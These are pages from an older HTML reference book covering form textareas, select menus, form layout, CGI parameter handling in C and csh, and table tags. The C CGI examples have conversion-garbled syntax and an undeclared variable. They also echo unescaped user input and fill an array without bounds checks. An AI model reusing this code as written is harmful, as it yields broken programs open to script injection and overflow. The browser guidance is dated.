[Chapter 10] 10.3 Multiline Text Areas

HTML: The Definitive Guide

Previous Chapter 10
Forms 		Next

10.3 Multiline Text Areas

The conventional and hidden-text types for forms restrict user input to a single line of characters. The <textarea> form tag sets users free.

The <textarea> Tag

The <textarea> tag creates a multiline text entry area in the user's browser display. In it, the user may type a nearly unlimited number of lines of text. Upon submission of the form, the browser collects all the lines of text, each separated by "%0D%0A" (carriage return/line feed), and sends them to the server as the value of this form element, using the name specified by the required name attribute.

<textarea>
Function:

Create a multiline text input area

Attributes:

CLASS (Netscape) (Internet Explorer)
COLS
NAME
ONBLUR (Netscape) (Internet Explorer)
ONCHANGE (Netscape) (Internet Explorer)
ONFOCUS (Netscape) (Internet Explorer)
ONSELECT (Netscape) (Internet Explorer)
ROWSSTYLE (Netscape) (Internet Explorer)
WRAP (Netscape)

End tag:

</textarea>; never omitted

Contains:

plain_text

Used in:

form_content

You may include plain text inside the <textarea> tag and its end tag. That default text must be plain text--no tags or other special HTML elements. The contents may be modified by the user, and the browser uses that text as the default value if the user presses a reset button for the form. Hence, the text content is most often included for instructions and examples:

Tell us about yourself:
<textarea name=address cols=40 rows=4>
  Your Name Here
  1234 My Street
  Anytown, State Zipcode
</textarea>

The rows and cols attributes

A multiline text input area stands alone onscreen: body content flows above and below, but not around it. You can control its dimensions, however, by defining the cols and rows attributes for the visible rectangular area set aside by the browser for multiline input. We suggest you do set these attributes. The common browsers have a habit of setting aside the smallest, least readable region possible for <textarea> input, and the user can't resize it. Both attributes require integer values for the respective dimension's size in characters. The browser automatically scrolls text that exceeds either dimension.

The wrap attribute

Normally, text typed in the text area by the user is transmitted to the server exactly as typed, with lines broken only where the user pressed the Enter key. Since this is often not the desired action by the user, you can enable word wrapping within the text area. When the user types a line that is longer than the width of the text area, the browser automatically moves the extra text down to the next line, breaking the line at the nearest point between words in the line.

With the wrap attribute set to virtual, the text is wrapped within the text area for presentation to the user, but the text is transmitted to the server as if no wrapping had occurred, except where the user pressed the Enter key.

With the wrap attribute set to physical, the text is wrapped within the text area and is transmitted to the server as if the user had actually typed it that way. This the most useful way to use word wrap, since the text is transmitted exactly as the user sees it in the text area.

To obtain the default action, set the wrap attribute to off.

As an example, consider the following 60 characters of text being typed into a 40-character-wide text area:

Word wrapping is a feature that makes life easier for users.

With wrap=off, the text area will contain one line and the user will have to scroll to the right to see all of the text. One line of text will be transmitted to the server.

With wrap=virtual, the text area will contain two lines of text, broken after the word "makes." Only one line of text will be transmitted to the server: the entire line with no embedded newline characters.

With wrap=physical, the text area will contain two lines of text, broken after the word "makes." Two lines of text will be sent to the server, separated by a newline character after the word "makes."

The style and class Attributes

The style attribute for the <textarea> tag creates an inline style for the text enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <textarea> tag; its value is the name of that class. Be aware that the same disclaimer for applying styles with text-type form elements also apply to the <textarea> (see 2.7). [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

Form <textarea> Event Handlers

JavaScript browsers support four event handlers for the <textarea> tag type. Use the onFocus, onBlur, onChange, and onSelect event handlers to respectively execute a JavaScript program when the user moves the mouse into the text area, when the user moves away from the text input box, when the user has changed the value of the text, and when the user selects the text area to type in some information.

The value of the event handler attribute is--enclosed in quotation marks--one or a sequence of semicolon-separated JavaScript expressions, methods, and function references that the browser executes when the event occurs. For example, you might associate a window alert via the onFocus event with the text area to relay some instructions to the user on what information they should type into that area. See 13.3.3 for more information about JavaScripting and event handlers.

Previous | Home | Next
Form Input Elements | Book Index | Multiple Choice Elements
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.4 Multiple Choice Elements

HTML: The Definitive Guide

Previous Chapter 10
Forms 		Next

10.4 Multiple Choice Elements

Checkboxes and radio buttons give you powerful means for creating multiple-choice questions and answers, but they can lead to long forms that are tedious to write and put a fair amount of clutter onscreen. The <select> tag gives you two compact alternatives: pull-down menus and scrolling lists.

The <select> Tag

By placing a list of <option>-tagged items inside the <select> tag of a form, you magically create a pull-down menu of choices.

<select>
Function:

Create single-and multiple-choice menus

Attributes:

CLASS (Netscape) (Internet Explorer)
MULTIPLE
NAME
ONBLUR (Netscape) (Internet Explorer)
ONCHANGE (Netscape) (Internet Explorer)
ONCLICK (Netscape) (Internet Explorer)
ONFOCUS (Netscape) (Internet Explorer)
SIZESTYLE (Netscape) (Internet Explorer)

End tag:

</select>; never omitted

Contains:

select_content

Used in:

form_content

As with other form tags, the name attribute is required and used by the browser when submitting the <select> choices to the server. Unlike radio buttons, however, no item is preselected, so if none is selected, no values are sent to the server when the form is submitted. Otherwise, the browser submits the selected item or collects multiple selections, each separated with commas, into a single parameter list and includes the name attribute when submitting <select> form data to the server.

The multiple attribute

To allow more than one option selection at a time, add the multiple attribute to the <select> tag. This causes the <select> to behave like an <input type=checkbox> element. If multiple is not specified, exactly one option can be selected at a time, just like a group of radio buttons.

The size attribute

The size attribute determines how many options are visible to the user at one time. The value of size should be a positive integer. The default value is 1 when size isn't specified. At size=1, if multiple is not specified, the browser typically displays the <select> list as a pop-up menu. Size values greater than one or by specifying the multiple attribute causes the <select> to be displayed as a scrolling list.

In the following example, we've converted our previous checkbox example into a scrolling, multiple-choice menu. Notice also that the size attribute tells the browser to display three options at a time:

What pets do you own?
  <select name=pets size=3 multiple>
    <option>Dog
    <option>Cat
    <option>Bird
    <option>Fish
  </select>

The result is shown in Figure 10.5, along with the change in appearance when the size attribute is set to 1 and multiple is not specified.

Figure 10.5: A <select> element, formatted with size=1 (left) and size=3 (right)

[Graphic: Figure 10-5]

Form <select> event handlers

JavaScript browsers support four event handlers for the <select> tag type. Use the onFocus, onBlur, onChange, and onSelect event handlers, respectively, to execute a JavaScript program when the user moves the mouse into the <select> element, when the user moves away from the element, when the user has changed the value of the element, and when the user selects the element.

The value of the event handler attribute is--enclosed in quotation marks--one or a sequence of semicolon-separated JavaScript expressions, methods, and function references that the browser executes when the event occurs. For example, you might associate a window alert via the onFocus event with the text area to relay some instructions to the user on what information they should type into that area. See 13.3.3 for more information about JavaScripting and event handlers.

The style and class attributes

The style attribute for the <select> tag creates an inline style for the text enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <select> tag; its value is the name of that class. Be aware that few style properties affect the form element itself, and none affect its internal contents. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

The <option> Tag

Use the <option> tag to define each item within a <select> form element.

<option>
Function:

Define available options within a <select> menu

Attributes:

CLASS (Netscape) (Internet Explorer)
SELECTED
STYLE (Netscape) (Internet Explorer)
VALUE

End tag:

</option>; always omitted

Contains:

plain_text

Used in:

select_content

The browser displays the <option> tag's contents as an element within the <select> tag's menu or scrolling list, so the content must be plain text only, without any other sort of markup.

The value attribute

Use the value attribute to set a value for each option the browser sends to the server if that option is selected by the user. If the value attribute has not been specified, the value of the option is set to the content of the <option> tag.

As an example, consider these options:

<option value=Dog>Dog
<option>Dog

Both have the same value. The first is explicitly set within the <option> tag; the second defaults to the content of the <option> tag itself.

The selected attribute

By default, all options within a multiple-choice <select> tag are unselected. Include the selected attribute (no value) inside the <option> tag to preselect one or more options, which the user may then deselect. Single-choice <select> tags will preselect the first option if no option is explicitly preselected.

The style and class attributes

The style attribute for the <option> tag creates an inline style for the text enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <option> tag; its value is the name of that class. Be aware that few style properties affect the form element itself, and none affect its internal contents. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

Previous | Home | Next
Multiline Text Areas | Book Index | Creating Effective Forms
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.5 Creating Effective Forms

HTML: The Definitive Guide

Previous Chapter 10
Forms 		Next

10.5 Creating Effective Forms

Properly done, a form can provide an effective user interface for your readers. With some server-side programming tricks, you can use forms to personalize the HTML documents you present to readers, and thereby significantly increase the value of your pages on the Web.

Browser Constraints

As with other HTML elements, browsers have varying abilities to display and manage forms.

Browser limitations

Unlike other graphical-user interfaces, browser displays are static. They have little or no capability for real-time data validation, for example, or to update the values in a form based upon user input, giving users help and guidance.[5] Hence, poorly designed web forms can be difficult to fill out.

[5] This is not entirely true. While HTML does not provide for data validation and user guidance, it is possible to attach Java or JavaScript applets to your form elements that do a very nice job of validating form data, updating form fields based upon user input, and guiding users through your forms.

Make sure your forms assist the user as much as possible in getting their input correct. Adjust the size of text input fields to give clues on acceptable input; five- (or the new nine-) character-wide zipcode fields, for instance. Use checkboxes, radio buttons, and selection lists whenever possible to narrow the list of choices the user must make.

Make sure you also adequately document your forms. Explain how to fill them out, supplying examples for each field. Provide appropriate hyperlinks to documentation that describes each field, if necessary.

When the form is submitted, make sure the server-side application exhaustively validates the user's data. If an error is discovered, present the user with intelligent error messages and possible corrections. One of the most frustrating aspects of filling out forms is having to start over from scratch whenever the server discovers an error. To alleviate this ugly redundancy and burden on your readers, consider spending extra time and resources on the server side that returns the user's completed form with the erroneous fields flagged for changes.

While all of these suggestions require significant effort on your part, they will pay off many times over by making life easier for your users. Remember, you'll write the HTML for the form just once, but it may be used thousands or even millions of times by users.

Handling limited displays

The most common client on the Web is a PC running Windows on a 640x480 pixel display. The actual document-viewing window typically is around 600x400 4pixels; roughly 75 readable characters wide and 30 to 50 lines tall. You should design your forms (and all your documents) so they are effective when viewed through a window of this size.

You should structure your form to naturally scroll into two or three logical sections. The user can fill out the first section, page down; fill out the second section, page down; and so forth.

You should also avoid wide input elements. It is difficult enough to deal with a scrolling-text field or text area without having to scroll the document itself horizontally to see additional portions of the input element.

User Interface Considerations

When you elect to create a form, you immediately assume another role: that of a user-interface designer. While a complete discussion of user interface design is beyond the scope of this book, it helps to understand a few basic design rules to create effective, attractive forms.

Basic user-interface design

Any user interface is perceived at several levels simultaneously. Forms are no different. At the lowest level, your brain recognizes shapes within the document, attempting to categorize the elements of the form. At a higher level, you are reading the text guides and prompts, trying to determine what input is required of you. At the highest level, you are seeking to accomplish a goal with the interface as your tool.

A good form accommodates all three of these perceptive needs. Input elements should be organized in logical groups so that your brain can process the form layout in chunks of related fields. Consistent, well-written prompts and supporting text assist and lead the user to enter the correct information. Text prompts also remind users of the task at hand and reinforce the form's goal.

Creating forms that flow

Users process forms in a predictable order, one element after another, seeking to find the next element as they finish the previous one. To accommodate this searching process, you should design your forms so that one field leads naturally to another, and related fields are grouped together. Similarly, groups should lead naturally to one another and should be formatted in a consistent manner.

Simply stringing a number of fields together does not constitute an effective form. You must put yourself in the place of your users, who are using the form for the first time. Test your form on unsuspecting friends and colleagues before you release it on the general public. Is it easy to determine the purpose of the form? Where do you start filling things out? Can the user find a button to push to submit the form? Is there an opportunity to confirm decisions? Do readers understand what is expected of them for each field?

Your forms should lead the user naturally through the process of supplying the necessary data for the application. You wouldn't ask for a street address before asking for the user's name; other rules may dictate the ordering of other groups of input elements. To see if your form really works, make sure you view it on several browsers and have several people fill it out and comment on its effectiveness.

Good Form, Old Chap

At first glance, the basic rule of HTML--content, not style--seems in direct opposition to the basic rule of good interface design--precise, consistent layout. Even so, it is possible to use some HTML elements to greatly improve the layout and readability of most forms.

Traditional page layout uses a grid of columns to align common elements within a page. The resulting implied vertical and horizontal "edges" of adjacent elements give a sense of order and organization to the page, and makes it easy for the eye to scan and follow.

HTML makes it hard, but you can accomplish the same sort of layout for your forms. For example, you can group related elements and separate groups with empty paragraphs or horizontal rules.

Vertical alignment is more difficult but not impossible. In general, forms are easier to use if you arrange the input elements vertically and aligned to a common margin. One popular form layout keeps the left edge of the input elements aligned, with the element labels immediately to the left of the elements. This is done by using tables to place and align each form element and its label. Here is our previous form example, with the labels placed in the first column and the corresponding elements in the second:

<form method=POST action="http://www.kumquat.com/demo">
  <table border=0>
    <tr valign=top>
      <td align=right>Name:</td>
      <td align=left><input type=text name=name size=32 maxlength=80>
      </td>
    </tr>
    <tr valign=top >
      <td align=right>Sex:</td>
      <td align=left>
        <input type=radio name=sex value="M"> Male <br>
        <input type=radio name=sex value="F"> Female
      </td>
    </tr>
    <tr valign=top >
      <td align=right>Income:</td>
      <td align=left>
        <select name=income size=1>
          <option>Under $25,000
          <option>$25,001 to $50,000
          <option>$50,001 and higher
        </select>
      </td>
    </tr>
    <tr valign=top>
      <td colspan=2 align=center>
        <input type=submit value="Submit Query">
      </td>
    </tr>
  </table>
</form>

Notice in the resulting rendered form shown in Figure 10.6 that the table has placed each input element in its own row. The align attributes in the table cells force the labels to the right and the elements to the left, creating a vertical margin through the form. By spanning the cell in the last row, the submission button is centered with respect to the entire form. In general, using tables in this manner makes form layout much easier and consistent throughout your documents.

Figure 10.6: Using a consistent vertical margin to align form elements

[Graphic: Figure 10-6]

You may find other consistent ways to lay out your forms. The key is to find a useful layout style that works well across most browsers and stick with it. Even though HTML has limited tools to control layout and positioning, take advantage of what is available to make your forms more attractive and easier to use.

Previous | Home | Next
Multiple Choice Elements | Book Index | Forms Programming
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.6 Forms Programming

HTML: The Definitive Guide

Previous Chapter 10
Forms 		Next

10.6 Forms Programming

If you create forms, sooner or later you'll need to create the server-side application that processes your form. Don't panic. There is nothing magic about server-side programming, nor is it overly difficult. With a little practice and some perseverance, you'll be cranking out forms applications.

The most important advice we can give about forms programming is easy to remember: copy others' work. Writing a forms application from scratch is fairly hard; copying a functioning forms application and modifying it to support your form is far easier.

Fortunately, server vendors know this, and they usually supply sample forms applications with their server. Rummage about for a directory named cgi-src, and you'll discover a number of useful examples you can easily copy and reuse.

We can't hope to replicate all the useful stuff that came with your server, nor can we provide a complete treatise on forms programming. What we can do is offer a simple example of both GET and POST applications, giving you a feel for the work involved and hopefully getting you moving you in the right direction.

Before we begin, keep in mind that not all servers invoke these applications in the same manner. Our examples cover the broad class of servers derived from the original NCSA HTTP server. They also should work with the Netscape Communications family of server products and the public-domain Apache server. In all cases, consult your server documentation for complete details. You will find more detailed information in CGI Programming for the World Wide Web and WebMaster in a Nutshell, both published by O'Reilly & Associates.

Returning Results

Before we begin, we need to discuss how server-side applications end. All server-side applications pass their results back to the server (and on to the user) by writing that result to the application's standard output as a MIME-encoded file. Hence, the first line of the application's output must be a MIME content-type descriptor. If your application returns an HTML document, the first line is:

Content-type: text/html

The second line must be completely empty. Your application can return some other content type, too--just include the correct MIME type. A GIF image, for example, is preceded with:

Content-type: image/gif

Generic text that is not to be interpreted as HTML can be returned with:

Content-type: text/plain

This is often useful for returning the output of other commands that generate plain text instead of HTML.

Handling GET Forms

One of two methods for passing form parameters from client to server is the GET method. In that way, parameters are passed as part of the URL that invokes the server-side forms application. A typical invocation of a GET-style application might use a URL like this:

http://www.kumquat.com/cgi-bin/dump_get?name=bob&phone=555-1212

When the server processes this URL, it invokes the application named dump_get stored in the directory named cgi-bin. Everything after the question mark is passed to the application as parameters.

Things diverge a bit at this point, due to the nature of the GET-style URL. While forms place name/value pairs in the URL, it is possible to invoke a GET-style application with only values in the URL. Thus,

http://www.kumquat.com/cgi-bin/dump_get?bob+555-1212

is a valid invocation as well, with parameters separated by a plus sign (+). This is a common invocation when the application is referenced by a searchable document with the <isindex> tag. The parameters typed by the user into the document's text entry field are passed to the server-side application as unnamed parameters separated by plus signs.

If you invoke your GET application with named parameters, your server will pass those parameters to the application in one way; unnamed parameters are passed differently.

Using named parameters with GET applications

Named parameters are passed to GET applications by creating an environment variable named QUERY_STRING and setting its value to the entire portion of the URL following the question mark. Using our previous example, the value of QUERY_STRING would be set to:

name=bob&phone=555-1212

Your application must retrieve this variable and extract from it the parameter name/value pairs. Fortunately, most servers come with a set of utility routines that performs this task for you, so a simple C program that just dumps the parameters might look like:

#include <stdio.h>
#include <stdlib.h>
#define MAX_ENTRIES 10000
typedef struct {char *name;
                char *val;
               }entry;
char *makeword(char *line, char stop);
char x2c(char *what);
void unescape_url(char *url);
void plustospace(char *str);
main(int argc, char *argv[])
{  entry entries[MAX_ENTRIES];
    int num_entries, i;
    char *query_string;
/* Get the value of the QUERY_STRING environment variable */
    query_string = getenv("QUERY_STRING");
/* Extract the parameters, building a table of entries */
    for (num_entries = 0; query_string[0]; num_entries++) {
       entries[num_entries].val = makeword(query_string, '&'.;

       plustospace(entries[num_entries].val);
       unescape_url(entries[num_entries].val);
       entries[num_entries].name =
          makeword(entries[num_entries].val, '='.;
       }
/* Spit out the HTML boilerplate */
    printf("Content-type: text/html\n");
    printf("\n");

    printf("<html>");
    printf("<head>");
    printf("<title>Named Parameter Echo</title>\n");
    printf("</head>");
    printf("<body>");
    printf("You entered the following parameters:\n");
    printf("<ul>\n");
/* Echo the parameters back to the user */
    for(i = 0; i < num_entries; i++)
        printf("<li> %s = %s\n", entries[i].name,
                  entries[i].val);
/* And close out with more boilerplate */
    printf("</ul>\n");
    printf("</body>\n");
    printf("</html>\n");
}

The example program begins with a few declarations that define the utility routines that scan through a character string and extract the parameter names and values.[6] The body of the program obtains the value of the QUERY_STRING environment variable using the getenv() system call, uses the utility routines to extract the parameters from that value, and then generates a simple HTML document that echoes back those values to the user.

[6] These routines are usually supplied by the server vendor. They are not part of the standard C or UNIX libraries.

For real applications, you'll want to insert your actual processing code after the parameter extraction and before the HTML generation. Of course, you'll also need to change the HTML generation to match your application's functionality.

Using unnamed parameters with GET applications

Unnamed parameters are passed to the application as command-line parameters. This makes writing the server-side application almost trivial. Here is a simple shell script that dumps the parameter values back to the user:

#!/bin/csh -f
#
# Dump unnamed GET parameters back to the user
echo "Content-type: text/html"
echo
echo '<html>'
echo '<head>'
echo '<title>Unnamed Parameter Echo</title>'
echo '</head>'
echo '<body>'
echo 'You entered the following parameters:'
echo '<ul>'
foreach i ($*)
   echo '<li>' $i
end
echo '</ul>'
echo '</body>'
exit 0

Again, we follow the same general style: output a generic document header, including the MIME content type, followed by the parameters and some closing boilerplate. To convert this to a real application, replace the foreach loop with commands that actually do something.

Handling POST Forms

Applications that use POST-style parameters expect to read encoded parameters from their standard input. Like GET-style applications with named parameters, they can take advantage of the server's utility routines to parse these parameters.

Here is a program that echoes the POST-style parameters back to the user:

#include <stdio.h>
#include <stdlib.h>
#define MAX_ENTRIES 10000
typedef struct {char *name;
                char *val;
               } entry;
char *makeword(char *line, char stop);
char *fmakeword(FILE *f, char stop, int *len);
char x2c(char *what);
void unescape_url(char *url);
void plustospace(char *str);
main(int argc, char *argv[])
{  entry entries[MAX_ENTRIES];
    int num_entries, i;
/* Parse parameters from stdin, building a table of entries */
    for (num_entries = 0; !feof(stdin); num_entries++) {
       entries[num_entries].val = fmakeword(stdin, '&'. &cl);
       plustospace(entries[num_entries].val);
       unescape_url(entries[num_entries].val);
       entries[num_entries].name =
          makeword(entries[num_entries].val, '='.;
       }
/* Spit out the HTML boilerplate */
    printf("Content-type: text/html\n");
    printf("\n");
    printf("<html>");
    printf("<head>");
    printf("<title>Named Parameter Echo</title>\n");
    printf("</head>");
    printf("<body>");
    printf("You entered the following parameters:\n");
    printf("<ul>\n");
/* Echo the parameters back to the user */
    for(i = 0; i < num_entries; i++)
        printf("<li> %s = %s\n", entries[i].name,
                  entries[i].val);
/* And close out with more boilerplate */
    printf("</ul>\n");
    printf("</body>\n");
    printf("</html>\n");
}

Again, we follow the same general form. The program starts by declaring the various utility routines needed to parse the parameters, along with a data structure to hold the parameter list. The actual code begins by reading the parameter list from the standard input and building a list of parameter names and values in the array named entries. Once this is complete, a boilerplate document header is written to the standard output, followed by the parameters and some closing boilerplate.

Like the other examples, this program is handy for checking the parameters being passed to the server application while you are early in the forms and application debugging process. You can also use it as a skeleton for other applications by inserting appropriate processing code after the parameter list is built up and altering the output section to send back the appropriate results.

Previous | Home | Next
Creating Effective Forms | Book Index | Tables
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] Tables

HTML: The Definitive Guide

Previous Chapter 11 Next

11. Tables

Contents:
The HTML Table Model
Table Tags
Internet Explorer Table Extensions
Beyond Ordinary Tables

Of all the extensions that found their way into the HTML 3.2 standard, none is more welcome than tables. While HTML tables are useful for the general display of tabular data, they also serve an important role in managing document layout. Creative use of tables, as we'll show in this chapter, can go a long way to enliven an otherwise dull document layout. And you may apply all the HTML styles to the various elements of a table to achieve a desktop-published look and feel.

11.1 The HTML Table Model

The standard HTML model for tables is fairly straightforward: a table is a collection of numbers and words arranged and related in rows and columns of cells. Most cells contain the data values; others contain row and column headers that describe the data.

You define a table and include all of its elements between the <table> tag and its corresponding </table> end tag. Table elements, including data items, row and column headers, and captions, each have their own markup tag. Working from top to bottom and left to right, you define, in sequence, the header and data for each column cell across the table, and progress down row by row.

The latest browsers also support an extended collection of tag attributes that make your tables look good, including special alignment of the table values and headers, borders, and table rule lines, and automatic sizing of the data cells to accommodate their content. The various popular browsers have slightly different sets of table attributes; we'll point out those variations as we go.

Table Contents

You may put nearly anything you might have within the body of an HTML document inside a table cell, including images, forms, rules, headings, and even another table. The browser treats each cell as a window unto itself, flowing the cell's content to fill the space, but with some special formatting provisions and extensions.

An Example Table

Here's a quick example that should satisfy your itching curiosity to see what an HTML table looks like in source code and when finally rendered as in Figure 11.1. More importantly, it shows you the basic structure of a table from which you can infer many of the elements, tag syntax and order, attributes, and so on, and to which you may refer as you read the following various detailed descriptions:

<table border cellspacing=0 cellpadding=5>
  <caption align=bottom>
    Kumquat versus a poked eye, by gender</caption>
  <tr>
    <td colspan=2 rowspan=2></td>
    <th colspan=2 align=center>Preference</th>
  </tr>
  <tr>
    <th>Eating Kumquats</th>
    <th>Poke In The Eye</th>
  </tr>
  <tr align=center>
    <th rowspan=2>Gender</th>
    <th>Male</th>
    <td>73%</td>
    <td>27%</td>
  </tr>
  <tr align=center>
    <th>Female</th>
    <td>16%</td>
    <td>84%</td>
  </tr>
</table>

Figure 11.1: HTML table example rendered by Netscape (top) and by Mosaic (bottom)

[Graphic: Figure 11-1]

Missing Features

HTML tables currently don't have all the features of a full-fledged table-generation tool you might find in a popular word processor. Rather than leave you in suspense, we'll list those things up front so you don't beat your head against the wall later trying to do something that just can't be done (at least, not yet):

  • The general problem of text alignment in HTML carries over into tables. You may align values inside their individual cells, but you cannot align them between cells. For instance, you cannot vertically align the decimal points in a column of numbers, even though they all might have the same number of digits, unless you use one of the monospace font styles.

  • Netscape and Internet Explorer give you the ability to set the thickness of table and cell borders. Netscape allows only one line size for the table's borders and rules; Internet Explorer has limited provisions for varying rule widths between the header, body, and footer of a table.

  • Except in Internet Explorer, HTML tables don't have running headers or footers. Of course, such things don't matter with an HTML browser where everything is on a single, infinitely long page. Running headers and footers are nice to have, though, when you print out a long table onto separate sheets of paper.

Previous | Home | Next
Forms Programming | Book Index | Table Tags
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.2 Table Tags

HTML: The Definitive Guide

Previous Chapter 11
Tables 		Next

11.2 Table Tags

You create a wide variety of tables with only five tags: the <table> tag, which encapsulates a table and its elements in the HTML document's body content; the <tr> tag, which defines a table row; the <th> and <td> tags, which define the table's headers and data cells; and the <caption> tag, which defines a title or caption for the table. Each tag has one or more required and optional attributes, some of which affect not only the tag itself, but related tags. [the section called "The <tr> Tag"] [the section called "The <th> and <td> Tags"] [the section called "The <caption> Tag"]

The <table> Tag

The <table> tag and its </table> end tag define and encapsulate a table within the body of your HTML document. The browser stops the current text flow, breaks the line, inserts the table beginning on a new line, and then restarts the text flow on a new line below the table.

<table>
Function:

Define a table

Attributes:

ALIGN
BACKGROUND (Internet Explorer)
BGCOLOR (Netscape) (Internet Explorer)
BORDER
BORDERCOLOR (Internet Explorer)
BORDERCOLORLIGHT (Internet Explorer)
BORDERCOLORDARK (Internet Explorer)
CELLPADDING
CELLSPACING
CLASS (Netscape) (Internet Explorer)
COLS (Netscape) (Internet Explorer)
FRAME (Internet Explorer)
HEIGHT (Netscape)
HSPACE (Netscape) (Internet Explorer)
NOWRAP (Internet Explorer)
STYLE (Netscape) (Internet Explorer)
RULES (Internet Explorer)
VALIGN (Internet Explorer)
VSPACE (Netscape) (Internet Explorer)
WIDTH

End tag:

</table>; never omitted

Contains:

table_content

Used in:

block

Unless overridden by the align attribute, the table's alignment in the browser window matches that of the containing text flow. Normally, this means that tables are aligned against the left margin of the current text flow. However, the table may be centered in the browser window if the preceding text is centered with the <center> tag or <div align=center>, or right-aligned by being in a right-aligned table cell (see the align attribute options below). [the section called "The <p> Tag"] [the section called "The <th> and <td> Tags"]

The only content allowed within the <table> tag besides the optional <caption> tag is one or more <tr> tags, which define each row of table contents.

The align attribute

Like images, tables are rectangular objects that float in the browser display, aligned according to the current text flow: Normally, the browser left-justifies a table, abutting its left edge to the left margin of the display window. Or the table may be centered if under the influence of the <center> tag, centered paragraph, or centered division. Unlike images, however, tables are normally not inline objects. Text content normally flows above and below a table, not beside it. You change that display behavior with the align attribute for the <table> tag.

The align attribute accepts a value of either left or right, indicating that the table should be placed flush against the left or right margin of the text flow, with the text flowing around the table. This alignment style corresponds to the left and right alignment of images with text wrapping around the image.

You use the align attribute within the <table> tag differently than within the <tr>, <td>, and <th> tags. In those tags, the attribute controls text alignment within the table cells, not alignment of the table within the containing text flow.

The bgcolor and background attributes

You may make the background of a table a different color than the document's background with the bgcolor attribute for the <table> tag. The color value for the bgcolor attribute must be set to either an RGB color value or a standard color name. Both the syntax of color values and the acceptable color names are provided in Appendix F, Color Names and Values.

The extended browsers give every cell in the table (including the caption) this background color. You may also set individual row and cell colors by providing the bgcolor attribute or a style attribute for those rows or cells.

The background attribute, supported only by Internet Explorer, supplies the URL of an image that is tiled to fill the background of the table. The image will be clipped if the table is smaller than the image. By using this attribute with a borderless table, you can put text over an image contained within a document.

The bordercolor, bordercolorlight, and bordercolordark attributes

Supported by Internet Explorer only, these attributes set the color of the table borders, if displayed. Their values can be either an RGB hexadecimal color value or a standard color name, both of which are described fully in Appendix F, Color Names and Values.

Netscape and Internet Explorer normally draw a table border with three colors. Netscape uses light and dark variations on the document's background color. Internet Explorer does, too, unless you set those colors with special attributes: the bordercolorlight and bordercolordark colors shade the edges of the border to give it a 3D appearance, while bordercolor shades the central body of the border.

<table> rules

The effectiveness of the 3D effect is tied directly to the relationship of these three colors. In general, the light color should be about 25 percent brighter than the border color, and the dark color should be about 25 percent darker.

The border, frame, and rules attributes

The optional border attribute for the <table> tag tells the browser to draw lines around the table and the rows and cells within it. The default is no borders or cell rule lines at all. With Netscape, border is all or nothing, affecting the appearance and spacing both of the frame around the table and the rule lines between data cells. Internet Explorer, on the other hand, lets you individually modify the various line segments that make up the borders around the table (frame), as well as around the data cells (rules).

You may specify a value for border, but you don't have to. Alone, the attribute simply enables borders and a set of default characteristics. Netscape and Internet Explorer let you supply an integer value for border equal to the pixel width of the chiseled-edge lines that make the table appear to be embossed onto the page.

The Internet Explorer frame attribute modifies border's effects for the lines that surround the table. The default value--what you get if you don't use frame at all--is box, which tells the browser to draw all four lines around the table. The value void removes all four of the frame segments. The frame values above, below, lhs, and rhs draw the various border segments on the top, bottom, left, or right side, respectively, of the table. The value hsides draws borders on the top and bottom (horizontal) sides of the table; vsides draws borders on the left and right (vertical) sides of the table.

With Internet Explorer, you also may control the thickness of a table's internal cell borders via the rules attribute. The default behavior, represented by the misleading value of none,[1] is to draw cell rule lines matching the size and specifications of the border attribute. Specifying groups places thicker borders between row and column groups defined by the <thead>, <tbody>, <tfoot>, and <colgroup> tags. Using rows or cols places thicker borders between every row or column, respectively, while using all places thicker borders around every cell in the table. [the section called "Internet Explorer Table Extensions"]

[1] The value "none" is misleading because you can't remove the table's cell rule lines when the border attribute is in effect.

The cellspacing attribute

The cellspacing attribute controls the amount of space placed between adjacent cells in a table and along the outer edges of cells along the edges of a table.

Browsers normally puts two pixels of space between cells and along the outer edges of the table. If you include a border attribute in the <table> tag, the cell spacing between interior cells grows by two more pixels (four total) to make space for the chiseled edge on the interior border. The outer edges of edge cells grow by the value of the border attribute.

By including the cellspacing attribute you can widen or reduce the interior cell borders. For instance, to make the thinnest possible interior cell borders, include the border and cellspacing=0 attributes in the table's tag.

The cellpadding attribute

The amount of space between the edge of a cell and its contents, which by default is one pixel. You may make all the cell contents in a table touch their respective cell borders by including cellpadding=0 in the table tag. You may also increase the cellpadding space by setting its value greater than 1.

Combining border, cellspacing, and cellpadding attributes

The interactions between the border, cellpadding, and cellspacing attributes of the <table> tag combine in ways that can be confusing. Figure 11.2 summarizes how these attributes interact to create interior and exterior borders of various widths.

Figure 11.2: The border, cellspacing, and cellpadding attributes of a table

[Graphic: Figure 11-2]

While all sorts of combinations of the border and cellspacing attributes are possible, these are the most common:

  • border=1 and cellspacing=0 produces the narrowest possible interior and exterior borders: two pixels wide.

  • border=n and cellspacing=0 makes the narrowest possible interior borders (two pixels wide), with an external border that is n plus one pixels wide.

  • border=1 and cellspacing=n tables have equal-width exterior and interior borders, all with chiseled edges just one pixel wide. All borders will be n plus two pixels wide.

The cols attribute

To format a table, the browser must first read the entire table contents, determining the number and width of each column in the table. This can be a lengthy process for long tables, forcing users to wait to see your pages. The cols attribute tells the browser, in advance, how many columns to expect in the table. The value of this attribute is an integer value defining the number of columns in the table.

This attribute provides only advice to the browser. If you define a different number of columns, the browser is free to ignore the cols attribute in order to render the table correctly. In general, it is good form to include this attribute with your <table> tag, if only to help the browser do a better job of formatting your tables.

The hspace and vspace attributes

Just as with inline images, the hspace and vspace attributes tell Internet Explorer and Netscape to add some extra room on the left and right sides (for hspace) and the top and bottom (for vspace) of a table, thereby setting it off from the window edge and surrounding content. The attribute value is the integer number of pixels for that padding; a value of 0 is the default.

